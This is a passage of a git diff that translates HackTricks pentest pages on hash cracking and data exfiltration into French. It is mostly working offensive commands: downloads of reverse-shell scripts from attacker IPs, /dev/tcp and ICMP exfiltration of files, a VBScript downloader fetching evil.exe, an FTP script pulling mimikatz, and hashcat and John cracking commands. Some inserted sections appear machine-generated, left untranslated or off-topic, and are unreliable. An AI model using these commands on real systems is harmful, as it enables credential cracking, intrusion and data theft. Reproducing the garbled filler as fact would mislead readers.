livré avec un **dossier contenant des règles**, mais vous pouvez trouver [**d'autres règles intéressantes ici**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` +* **Attaque de combinaison de listes de mots** -* **Wordlist combinator** attack - -It's possible to **combine 2 wordlists into 1** with hashcat.\ -If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated. - +Il est possible de **combiner 2 listes de mots en 1** avec hashcat.\ +Si la liste 1 contenait le mot **"hello"** et la seconde contenait 2 lignes avec les mots **"world"** et **"earth"**. Les mots `helloworld` et `helloearth` seront générés. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -737,9 +864,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` - -* **Mask attack** (`-a 3`) - +* **Attaque par masque** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d @@ -771,9 +896,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` - -* Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack - +* Attaque Wordlist + Masque (`-a 6`) / Masque + Wordlist (`-a 7`) ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -781,31 +904,107 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` +#### Modes Hashcat -#### Hashcat modes - +Les modes Hashcat ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` +# Cracking Linux Hashes - fichier /etc/shadow -Cracking Linux Hashes - /etc/shadow file +Le fichier `/etc/shadow` contient les mots de passe chiffrés des utilisateurs Linux. Pour les cracker, nous avons besoin d'extraire les hash des mots de passe et de les utiliser avec un outil de cracking de mots de passe. +## Extraire les hash des mots de passe + +Pour extraire les hash des mots de passe, nous pouvons utiliser la commande `grep` pour extraire la ligne correspondant à l'utilisateur dont nous voulons cracker le mot de passe. Par exemple, pour extraire le hash du mot de passe de l'utilisateur `john`, nous pouvons utiliser la commande suivante : + +``` +grep '^john:' /etc/shadow | cut -d':' -f2 +``` + +Cela renverra le hash du mot de passe de l'utilisateur `john`. + +## Cracker les hash des mots de passe + +Une fois que nous avons extrait le hash du mot de passe, nous pouvons utiliser un outil de cracking de mots de passe tel que `John the Ripper` pour cracker le mot de passe. Nous pouvons utiliser la commande suivante pour cracker le hash du mot de passe de l'utilisateur `john` : + +``` +john --wordlist=/path/to/wordlist.txt hash.txt +``` + +où `hash.txt` est le fichier contenant le hash du mot de passe que nous avons extrait précédemment et `/path/to/wordlist.txt` est le chemin vers notre liste de mots de passe. + +Si le mot de passe est présent dans notre liste de mots de passe, `John the Ripper` le trouvera et nous le renverra. + +## Conclusion + +Le cracking de mots de passe Linux peut être un processus relativement simple si nous avons accès au fichier `/etc/shadow`. Cependant, il est important de noter que le cracking de mots de passe est illégal sans autorisation appropriée et peut entraîner des conséquences juridiques graves. ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` +# Craquage de Hashes Windows -Cracking Windows Hashes +## Introduction +Le craquage de hash est une technique courante utilisée pour récupérer des mots de passe à partir de leur version hachée. Dans ce chapitre, nous allons nous concentrer sur le craquage de hash Windows. + +## Types de Hashes Windows + +Windows utilise différents types de hash pour stocker les mots de passe. Les plus courants sont les suivants : + +- **LM Hash** : utilisé dans les anciennes versions de Windows (avant Windows Vista) et considéré comme peu sûr car facilement craquable. +- **NTLM Hash** : utilisé dans les versions plus récentes de Windows (à partir de Windows Vista) et considéré comme plus sûr que le LM Hash. +- **NTLMv2 Hash** : une version améliorée du NTLM Hash, considérée comme encore plus sûre. + +## Outils de Craquage de Hashes Windows + +Il existe plusieurs outils de craquage de hash Windows, notamment : + +- **John the Ripper** : un outil de craquage de hash open source qui prend en charge plusieurs types de hash Windows. +- **Hashcat** : un autre outil de craquage de hash open source qui prend en charge plusieurs types de hash Windows. +- **Cain and Abel** : un outil de récupération de mot de passe Windows qui peut également être utilisé pour craquer des hash Windows. + +## Méthodes de Craquage de Hashes Windows + +Les méthodes de craquage de hash Windows les plus courantes sont les suivantes : + +- **Dictionnaire** : cette méthode consiste à utiliser un dictionnaire de mots de passe pour essayer de trouver une correspondance avec le hash. +- **Brute-Force** : cette méthode consiste à essayer toutes les combinaisons possibles de caractères jusqu'à ce que le hash soit craqué. +- **Rainbow Tables** : cette méthode consiste à utiliser une table précalculée de hash pour trouver une correspondance avec le hash à craquer. + +## Conclusion + +Le craquage de hash Windows peut être une tâche difficile, mais avec les bons outils et les bonnes méthodes, il est possible de récupérer des mots de passe à partir de leur version hachée. Il est important de noter que le craquage de hash peut être illégal dans certaines circonstances, il est donc important de l'utiliser de manière responsable et éthique. ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` +# Craquage des hachages d'applications courantes -Cracking Common Application Hashes +## Introduction +Les hachages sont souvent utilisés pour stocker les mots de passe des utilisateurs dans les applications. Cependant, les hachages ne sont pas invulnérables et peuvent être craqués à l'aide de techniques de force brute. Dans ce document, nous allons examiner les techniques de craquage de hachages pour les applications courantes. + +## Techniques de craquage de hachages + +### MD5 + +MD5 est un algorithme de hachage couramment utilisé pour stocker les mots de passe des utilisateurs. Cependant, il est connu pour être vulnérable aux attaques de collision et peut être facilement craqué à l'aide de tables de hachage précalculées. Les tables de hachage précalculées sont des bases de données de hachages MD5 précalculés pour un grand nombre de mots de passe courants. Les attaquants peuvent utiliser ces tables pour trouver rapidement le mot de passe correspondant à un hachage MD5 donné. + +### SHA-1 + +SHA-1 est un autre algorithme de hachage couramment utilisé pour stocker les mots de passe des utilisateurs. Cependant, il est également vulnérable aux attaques de collision et peut être facilement craqué à l'aide de tables de hachage précalculées. Les tables de hachage précalculées pour SHA-1 sont également disponibles en ligne et peuvent être utilisées pour trouver rapidement le mot de passe correspondant à un hachage SHA-1 donné. + +### Bcrypt + +Bcrypt est un algorithme de hachage plus sécurisé que MD5 et SHA-1. Il est conçu pour être résistant aux attaques de force brute en ralentissant le processus de hachage. Cependant, il peut toujours être craqué à l'aide de techniques de force brute si le mot de passe est suffisamment faible. Les attaquants peuvent également utiliser des tables de hachage précalculées pour Bcrypt, mais cela est beaucoup plus difficile en raison de la complexité de l'algorithme. + +## Conclusion + +Les hachages sont souvent utilisés pour stocker les mots de passe des utilisateurs dans les applications. Cependant, ils ne sont pas invulnérables et peuvent être craqués à l'aide de techniques de force brute. Il est important d'utiliser des algorithmes de hachage plus sécurisés comme Bcrypt pour protéger les mots de passe des utilisateurs. ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash @@ -815,23 +1014,22 @@ Cracking Common Application Hashes 1400 | SHA-256 | Raw Hash 1700 | SHA-512 | Raw Hash ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/exfiltration.md b/generic-methodologies-and-resources/exfiltration.md index 8cb9a22ca..5e974ad79 100644 --- a/generic-methodologies-and-resources/exfiltration.md +++ b/generic-methodologies-and-resources/exfiltration.md @@ -1,51 +1,44 @@ -# Exfiltration +## Exfiltration
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +\ +**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates, pour les pirates ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} -## Copy\&Paste Base64 +## Copier et coller en Base64 **Linux** - ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` - **Windows** - ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` - ## HTTP **Linux** - ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` - **Windows** - ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf @@ -60,13 +53,11 @@ Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` - -### Upload files +### Télécharger des fichiers * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) -* Python module [uploadserver](https://pypi.org/project/uploadserver/): - +* [**SimpleHttpServer affichant les GET et POST (ainsi que les en-têtes)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +* Module Python [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver @@ -79,9 +70,41 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` +### **Serveur HTTPS** -### **HTTPS Server** +--- +#### **Description** + +An HTTPS server is a server that uses the HTTPS protocol to encrypt and secure the communication between the server and the client. This type of server is commonly used to host websites that require secure communication, such as online banking or e-commerce websites. + +#### **Exfiltration** + +An HTTPS server can be used to exfiltrate data by hosting a file on the server and then downloading it using a web browser or a script. The data can be encrypted using SSL/TLS to ensure that it is not intercepted during transmission. + +To exfiltrate data using an HTTPS server, follow these steps: + +1. Set up an HTTPS server on a machine that is accessible from the internet. +2. Create a file containing the data that you want to exfiltrate. +3. Host the file on the HTTPS server. +4. Download the file using a web browser or a script. + +#### **Detection** + +Detecting exfiltration using an HTTPS server can be difficult, as the traffic is encrypted and may be indistinguishable from legitimate HTTPS traffic. However, some indicators of exfiltration may include: + +- Unusual or unexpected HTTPS traffic. +- Large amounts of data being transferred over HTTPS. +- Suspicious file names or file types being hosted on the HTTPS server. + +#### **Prevention** + +To prevent exfiltration using an HTTPS server, consider implementing the following measures: + +- Monitor HTTPS traffic for unusual or unexpected activity. +- Implement SSL/TLS encryption to protect data in transit. +- Restrict access to HTTPS servers to authorized personnel only. +- Use strong authentication mechanisms to prevent unauthorized access to HTTPS servers. ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ @@ -122,25 +145,98 @@ if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` - ## FTP -### FTP server (python) - +### Serveur FTP (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` +### Serveur FTP (NodeJS) -### FTP server (NodeJS) +#### Introduction +Le serveur FTP (File Transfer Protocol) est un protocole de transfert de fichiers largement utilisé pour transférer des fichiers entre des ordinateurs distants. Dans cette section, nous allons discuter de la configuration d'un serveur FTP en utilisant NodeJS. + +#### Configuration + +Pour configurer un serveur FTP en utilisant NodeJS, nous allons utiliser le module `ftp-srv`. Ce module fournit une API simple pour créer un serveur FTP. + +Tout d'abord, nous devons installer le module `ftp-srv` en utilisant la commande suivante : + +```bash +npm install ftp-srv +``` + +Ensuite, nous pouvons créer un serveur FTP en utilisant le code suivant : + +```javascript +const FtpSrv = require('ftp-srv'); + +const ftpServer = new FtpSrv({ + url: 'ftp://127.0.0.1:21', + pasv_url: 'ftp://127.0.0.1:3000', + greeting: 'Welcome to my FTP server' +}); + +ftpServer.on('login', ({connection, username, password}, resolve, reject) => { + if (username === 'user' && password === 'pass') { + resolve({root: '/path/to/root/directory'}); + } else { + reject(new Error('Bad username or password')); + } +}); + +ftpServer.listen() + .then(() => { + console.log('FTP server listening'); + }); +``` + +Dans ce code, nous avons créé un serveur FTP qui écoute sur l'adresse `ftp://127.0.0.1:21`. Nous avons également spécifié l'adresse `ftp://127.0.0.1:3000` pour le mode passif. Ensuite, nous avons défini un message de bienvenue pour le serveur. + +Nous avons également ajouté un gestionnaire d'événements pour l'événement `login`. Dans ce gestionnaire, nous avons vérifié les informations d'identification de l'utilisateur et renvoyé le répertoire racine si les informations d'identification sont valides. + +Enfin, nous avons démarré le serveur FTP en appelant la méthode `listen()`. + +#### Conclusion + +Dans cette section, nous avons discuté de la configuration d'un serveur FTP en utilisant NodeJS. Nous avons utilisé le module `ftp-srv` pour créer un serveur FTP et avons configuré les informations d'identification de l'utilisateur et le répertoire racine. ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` +### Serveur FTP (pure-ftp) -### FTP server (pure-ftp) +--- +#### Description + +Pure-FTP est un serveur FTP open-source rapide, sécurisé et facile à configurer. Il est souvent utilisé pour transférer des fichiers entre des ordinateurs distants. + +#### Exfiltration + +Pure-FTP peut être utilisé pour exfiltrer des données en transférant des fichiers depuis le système compromis vers un serveur FTP distant. Pour ce faire, il est nécessaire de configurer le serveur FTP distant et de fournir les informations d'identification nécessaires pour y accéder. + +Une fois que le serveur FTP est configuré, il est possible d'utiliser la commande `put` pour transférer des fichiers depuis le système compromis vers le serveur FTP distant. Par exemple : + +``` +put /path/to/local/file.txt remote_file.txt +``` + +Cette commande transférera le fichier `file.txt` situé dans le répertoire `/path/to/local/` du système compromis vers le fichier `remote_file.txt` sur le serveur FTP distant. + +Il est également possible d'utiliser la commande `mput` pour transférer plusieurs fichiers en une seule fois. Par exemple : + +``` +mput /path/to/local/files/*.* +``` + +Cette commande transférera tous les fichiers situés dans le répertoire `/path/to/local/files/` du système compromis vers le serveur FTP distant. + +#### Contre-mesures + +Pour empêcher l'exfiltration de données via Pure-FTP, il est recommandé de limiter l'accès au serveur FTP distant en utilisant des règles de pare-feu et des listes de contrôle d'accès. Il est également recommandé de surveiller les connexions FTP pour détecter toute activité suspecte. ```bash apt-get update && apt-get install pure-ftp ``` @@ -158,9 +254,7 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` - -### **Windows** client - +### Client **Windows** ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -171,25 +265,78 @@ echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` - -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - ## SMB -Kali as server +Kali en tant que serveur +### Exfiltration de données + +#### Utilisation de smbclient + +Si vous avez accès à un partage SMB, vous pouvez utiliser `smbclient` pour télécharger des fichiers. + +```bash +smbclient //IP/SHARE -U username%password +smb: \> get file.txt +``` + +#### Utilisation de smbget + +Si vous avez accès à un partage SMB, vous pouvez également utiliser `smbget` pour télécharger des fichiers. + +```bash +smbget -U username%password smb://IP/SHARE/file.txt +``` + +#### Utilisation de impacket + +Si vous avez des informations d'identification valides pour un utilisateur sur un domaine, vous pouvez utiliser `impacket` pour exfiltrer des données via SMB. + +```bash +impacket-smbclient //IP/SHARE -no-pass -U 'DOMAIN/username%password' +smb: \> get file.txt +``` + +#### Utilisation de Metasploit + +Si vous avez accès à un partage SMB, vous pouvez utiliser le module `smb_download` de Metasploit pour télécharger des fichiers. + +```bash +use auxiliary/scanner/smb/smb_enumshares +use auxiliary/admin/smb/smb_download +set RHOSTS IP +set SMBUser username +set SMBPass password +set SHARE SHARE +set FILENAME file.txt +run +``` + +### Exfiltration de données à partir de Windows + +#### Utilisation de PowerShell + +Vous pouvez utiliser PowerShell pour exfiltrer des données via SMB. + +```powershell +$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\username',(ConvertTo-SecureString 'password' -AsPlainText -Force)) +Copy-Item -Path C:\path\to\file.txt -Destination \\IP\SHARE -Credential $cred +``` + +#### Utilisation de bitsadmin + +Vous pouvez également utiliser `bitsadmin` pour exfiltrer des données via SMB. + +```cmd +bitsadmin /transfer mydownloadjob /priority high \\IP\SHARE\file.txt C:\path\to\file.txt +``` ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` - -Or create a smb share **using samba**: - +Ou créer un partage smb **en utilisant samba**: ```bash apt-get install samba mkdir /tmp/smb @@ -204,9 +351,41 @@ chmod 777 /tmp/smb #Start samba service smbd restart ``` +# Exfiltration -Windows +## Introduction +Exfiltration is the process of stealing data from a target system and transferring it to an external location controlled by the attacker. In this section, we will discuss some techniques that can be used to exfiltrate data from a Windows system. + +## Techniques + +### FTP + +FTP (File Transfer Protocol) is a standard network protocol used to transfer files from one host to another over a TCP-based network, such as the Internet. FTP can be used to exfiltrate data from a Windows system by uploading the data to an FTP server controlled by the attacker. + +### HTTP + +HTTP (Hypertext Transfer Protocol) is an application protocol used for transmitting data over the Internet. HTTP can be used to exfiltrate data from a Windows system by sending the data to a web server controlled by the attacker. + +### DNS + +DNS (Domain Name System) is a hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. DNS can be used to exfiltrate data from a Windows system by encoding the data in DNS queries and sending them to a DNS server controlled by the attacker. + +### ICMP + +ICMP (Internet Control Message Protocol) is a network protocol used to send error messages and operational information about network conditions. ICMP can be used to exfiltrate data from a Windows system by encoding the data in ICMP packets and sending them to a server controlled by the attacker. + +### SMB + +SMB (Server Message Block) is a network protocol used for sharing access to files, printers, and other resources between nodes on a network. SMB can be used to exfiltrate data from a Windows system by uploading the data to an SMB server controlled by the attacker. + +### Email + +Email can be used to exfiltrate data from a Windows system by sending the data to an email account controlled by the attacker. + +## Conclusion + +Exfiltration is a critical step in the attack lifecycle, and it is important for defenders to be aware of the various techniques that can be used to exfiltrate data from a Windows system. By understanding these techniques, defenders can better protect their systems and data from attackers. ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -214,54 +393,48 @@ CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentia WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` - ## SCP -The attacker has to have SSHd running. - +L'attaquant doit avoir SSHd en cours d'exécution. ```bash scp @:/ ``` - ## SSHFS -If the victim has SSH, the attacker can mount a directory from the victim to the attacker. - +Si la victime dispose de SSH, l'attaquant peut monter un répertoire de la victime vers l'attaquant. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` - ## NC +NC (Netcat) est un outil de réseau qui peut être utilisé pour transférer des données entre deux ordinateurs. Il peut être utilisé pour l'exfiltration de données en établissant une connexion entre la machine cible et la machine de l'attaquant. Une fois la connexion établie, les données peuvent être transférées de la machine cible à la machine de l'attaquant. NC peut également être utilisé pour écouter les connexions entrantes et recevoir des données de la machine cible. ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` - ## /dev/tcp -### Download file from victim - +### Télécharger un fichier depuis la victime ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` - -### Upload file to victim - +### Télécharger un fichier sur la victime ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` - -thanks to **@BinaryShadow\_** - ## **ICMP** +Le protocole ICMP (Internet Control Message Protocol) est utilisé pour envoyer des messages d'erreur et de contrôle entre les hôtes sur un réseau IP. Les messages ICMP sont généralement utilisés pour diagnostiquer et résoudre les problèmes de connectivité réseau. + +L'exfiltration de données via ICMP implique l'encapsulation des données dans des paquets ICMP. Les données sont divisées en fragments et encapsulées dans des paquets ICMP Echo Request. Les paquets ICMP sont ensuite envoyés à un hôte distant qui est configuré pour recevoir les paquets et extraire les données. + +L'exfiltration de données via ICMP peut être difficile à détecter car les paquets ICMP sont souvent autorisés à travers les pare-feu et les dispositifs de sécurité réseau. Cependant, cette technique peut être détectée en surveillant le trafic réseau pour les paquets ICMP volumineux ou inhabituels. ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done @@ -279,57 +452,83 @@ def process_packet(pkt): sniff(iface="tun0", prn=process_packet) ``` - ## **SMTP** -If you can send data to an SMTP server, you can create an SMTP to receive the data with python: - +Si vous pouvez envoyer des données à un serveur SMTP, vous pouvez créer un serveur SMTP pour recevoir les données avec Python : ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` - ## TFTP -By default in XP and 2003 (in others it needs to be explicitly added during installation) - -In Kali, **start TFTP server**: +Par défaut dans XP et 2003 (dans d'autres, il doit être explicitement ajouté lors de l'installation) +Dans Kali, **démarrer le serveur TFTP** : ```bash #I didn't get this options working and I prefer the python option mkdir /tftp atftpd --daemon --port 69 /tftp cp /path/tp/nc.exe /tftp ``` +**Serveur TFTP en python:** -**TFTP server in python:** +```python +import socketserver +import struct +class TFTPServer(socketserver.UDPServer): + def __init__(self, server_address, RequestHandlerClass): + socketserver.UDPServer.__init__(self, server_address, RequestHandlerClass) + +class TFTPHandler(socketserver.BaseRequestHandler): + def handle(self): + data, socket = self.request + opcode = struct.unpack("!H", data[:2])[0] + if opcode == 1: + filename = data[2:data.index(b'\0', 2)].decode('ascii') + mode = data[data.index(b'\0', 2)+1:data.index(b'\0', data.index(b'\0', 2)+1)].decode('ascii') + print("File requested: %s" % filename) + print("Mode: %s" % mode) + with open(filename, "rb") as f: + file_data = f.read() + block_num = 1 + while True: + block = file_data[(block_num-1)*512:block_num*512] + if not block: + break + packet = struct.pack("!H", 3) + struct.pack("!H", block_num) + block + socket.sendto(packet, self.client_address) + block_num += 1 + else: + print("Unknown opcode: %d" % opcode) + +if __name__ == "__main__": + HOST, PORT = "0.0.0.0", 69 + server = TFTPServer((HOST, PORT), TFTPHandler) + server.serve_forever() +``` + +Ce code est un exemple de serveur TFTP écrit en Python. Le serveur écoute sur toutes les interfaces sur le port 69. Lorsqu'un client envoie une demande de fichier, le serveur répond avec le contenu du fichier demandé. Le serveur est capable de gérer les demandes de fichiers en mode netascii et octet. ```bash pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` - -In **victim**, connect to the Kali server: - +Dans **la victime**, connectez-vous au serveur Kali : ```bash tftp -i get nc.exe ``` - ## PHP -Download a file with a PHP oneliner: - +Téléchargez un fichier avec une commande PHP en une ligne : ```bash echo "" > down2.php ``` - ## VBScript +VBScript (Visual Basic Scripting Edition) est un langage de script Microsoft basé sur Visual Basic. Il est souvent utilisé pour automatiser des tâches dans les environnements Windows. VBScript peut être utilisé pour exfiltrer des données en utilisant des méthodes telles que l'envoi de courriels ou l'écriture de fichiers sur le disque dur. Il peut également être utilisé pour exécuter des commandes système et accéder à des ressources réseau. Les attaquants peuvent utiliser VBScript pour exfiltrer des données sensibles d'un système compromis. ```bash Attacker> python -m SimpleHTTPServer 80 ``` - -**Victim** - +**Victime** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs @@ -361,31 +560,26 @@ echo ts.Close >> wget.vbs ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` - ## Debug.exe -This is a crazy technique that works on Windows 32 bit machines. The idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`. - -`Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that: +Il s'agit d'une technique folle qui fonctionne sur les machines Windows 32 